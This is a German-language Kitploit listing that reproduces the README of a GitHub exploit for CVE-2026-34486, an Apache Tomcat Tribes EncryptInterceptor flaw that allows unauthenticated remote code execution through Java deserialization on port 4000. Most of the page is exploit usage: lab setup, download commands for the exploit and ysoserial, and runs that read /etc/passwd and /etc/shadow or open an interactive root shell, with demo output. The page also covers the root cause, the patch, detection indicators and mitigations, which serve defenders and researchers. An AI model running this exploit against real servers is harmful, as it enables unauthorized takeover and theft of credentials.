Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-34486 — Exploit für die Umgehung des Apache Tomcat EncryptInterceptor, der zu nicht authentifizierter RCE über Java-Deserialisierung auf Port 4000 führt. Enthält Lab-Einrichtung, interaktive Shell und Erkennungsanleitung. | Kitploit
Tools/GitHubGitHub/404-src/cve-2026-34486
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHub404-src/cve-2026-34486

CVE-2026-34486

Exploit für die Umgehung des Apache Tomcat EncryptInterceptor, der zu nicht authentifizierter RCE über Java-Deserialisierung auf Port 4000 führt. Enthält Lab-Einrichtung, interaktive Shell und Erkennungsanleitung.

Repository anzeigen
97vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-34486 — Apache Tomcat EncryptInterceptor RCE

Apache Tomcat Tribes-Cluster-Kommunikationsmodul verwirft Nachrichten nicht, wenn die Entschlüsselung durch EncryptInterceptor fehlschlägt, wodurch nicht authentifizierte Angreifer über Java-Deserialisierung auf Port 4000 Remote Code Execution auslösen können.

Apache Tomcat CVE CVSS Python Java Docker License


Schwachstellendetails

FeldInfo
CVE-IDCVE-2026-34486
CVSS-Score7.5 (Hoch)
KomponenteApache Tomcat Tribes EncryptInterceptor
Betroffene Versionen9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20
Behobene Versionen9.0.117 / 10.1.54 / 11.0.21
SchwachstellentypNicht authentifizierte Remote Code Execution über Deserialisierung
AngriffsvektorNetzwerk / Keine Authentifizierung / Geringe Komplexität
AngriffsportTCP 4000 (Tribes NioReceiver)

Grundursache

Die Clustering-Funktion von Apache Tomcat verwendet das Tribes-Framework, um Sitzungsdaten zwischen Cluster-Knoten zu synchronisieren und lauscht standardmäßig auf TCP-Port 4000.

Wenn EncryptInterceptor (AES/CBC) aktiviert ist, besteht folgender Logikfehler:

root@kitploit:~
// EncryptInterceptor.java — verwundbare Version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // entschlüsselte Nachricht verarbeiten...
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // protokolliert nur den Fehler
    }
    super.messageReceived(msg);  // ← FEHLER: Rohbytes werden auch nach fehlgeschlagener Entschlüsselung weitergeleitet
}

Der catch-Block protokolliert nur den Fehler. Da super.messageReceived(msg) außerhalb des try-catch liegt, werden die rohen unverschlüsselten Bytes an XByteBuffer.deserialize() → ObjectInputStream.readObject() weitergeleitet.

Ein Angreifer kann ein präpariertes Deserialisierungs-Payload senden, um ohne jegliche Authentifizierung RCE auszulösen.

Angriffskette

root@kitploit:~
Angreifer  ──TCP:4000──►  NioReceiver (keine Authentifizierung)
                               │
                    EncryptInterceptor.messageReceived()
                      try  { AES/CBC-Entschlüsselung → IllegalBlockSizeException }
                      catch{ log.severe("Failed to decrypt") }  ← nur Log-Eintrag
                      super.messageReceived(msg)                ← FEHLER: Rohbytes passieren
                               │
                    GroupChannel → XByteBuffer.deserialize()
                               │
                    ObjectInputStream.readObject()              ← Deserialisierung ausgelöst
                               │
                    CommonsCollections6 Gadget Chain
                               │
                    Runtime.exec()  →  RCE als root  🔴

Patch (9.0.117)

Der Fix verschiebt super.messageReceived(msg) in den try-Block, sodass jede fehlgeschlagene Entschlüsselung dazu führt, dass die Nachricht stillschweigend verworfen wird (Fail-Closed).

root@kitploit:~
// EncryptInterceptor.java — gepatchte Version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // verarbeiten...
        super.messageReceived(msg);  // ← BEHOBEN: wird nur erreicht, wenn die Entschlüsselung erfolgreich ist
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // Nachricht wird verworfen
    }
}

Voraussetzungen

  • Python 3.6+
  • Java 11+ (java und javac im PATH)
  • Docker (für Laborbereitstellung)
  • ysoserial-all.jar
  • apache-tomcat-9.0.116 (für die Tribes-Bibliothek)

Labor-Einrichtung

Verwundbares Image mit vorinstalliertem Setup pullen

root@kitploit:~
docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  nowday3/cve-2026-34486:latest

# Überprüfen
curl http://localhost:8080

Exploit & Abhängigkeiten herunterladen

root@kitploit:~
# Exploit
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/

# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Tomcat 9.0.116 (für die Tribes-Bibliothek)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/

Ausnutzung

Grundlegende RCE-Überprüfung

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"

# Überprüfen
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned

RCE mit Ausgabe (empfohlen)

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Ausgabe: uid=0(root) gid=0(root) groups=0(root)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"

Interaktiver Shell-Modus

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --shell

# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit

Benutzerdefinierte Pfade

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
  --ysoserial ./ysoserial-all.jar \
  --tomcat-lib ./apache-tomcat-9.0.116/lib

exp.py-Optionen

root@kitploit:~
-t, --target      Ziel-IP (Standard: 127.0.0.1)
-p, --port        Tribes-Port (Standard: 4000)
    --http-port   HTTP-Port für den Abruf der Ausgabe (Standard: 8080)
-c, --command     Befehl direkt ausführen (keine Shell-Funktionen)
    --rce         Befehl ausführen und Ausgabe über HTTP abrufen
    --shell       Interaktiver Shell-Modus
-g, --gadget      Gadget-Kette (Standard: CommonsCollections6)
    --ysoserial   Pfad zur ysoserial-JAR
    --tomcat-lib  Pfad zum Tomcat-lib-Verzeichnis

Demo

root@kitploit:~
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║   ██║ █████╔╝███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
                                                          34486

Apache Tomcat EncryptInterceptor Bypass → Deserialisierung → RCE

Ziel        : 127.0.0.1:4000
Gadget      : CommonsCollections6

[*] Kompiliere TribesClient.java ...
[+] Erfolgreich kompiliert
[*] Generiere CommonsCollections6-Payload ...
[+] Payload: 1361 Bytes
[*] Sende Tribes-Frame → 127.0.0.1:4000
    [tribes] frame=1496B cdBytes=1478B
[+] Frame gesendet!
[*] Rufe Ergebnis ab: http://127.0.0.1:8080/.out.txt

    uid=0(root) gid=0(root) groups=0(root)

Erkennung & Indikatoren für eine Kompromittierung

Der einzige vom Angriff hinterlassene Log-Eintrag:

root@kitploit:~
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher

Es wird keine readObject-Ausnahme protokolliert — der Befehl wird still ausgeführt.

Gegenmaßnahmen

MaßnahmePriorität
Upgrade auf Tomcat 9.0.117 / 10.1.54 / 11.0.21Kritisch
Port 4000 nur auf vertrauenswürdige Cluster-IPs beschränkenHoch
Logs auf wiederholte Failed to decrypt message-Einträge überwachenMittel
Tribes-Clustering deaktivieren, falls nicht benötigtHoch


Referenzen

  • Apache Tomcat Security Advisories
  • Apache Tribes Documentation
  • ysoserial — frohoff
  • Java Deserialization Cheatsheet

Haftungsausschluss

Dieses Projekt ist ausschließlich für autorisierte Sicherheitsforschung, Penetrationstests und Bildungszwecke bestimmt. Verwenden Sie dieses Tool nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.


Lizenz

MIT-Lizenz © 2026 404-src

Tool herunterladen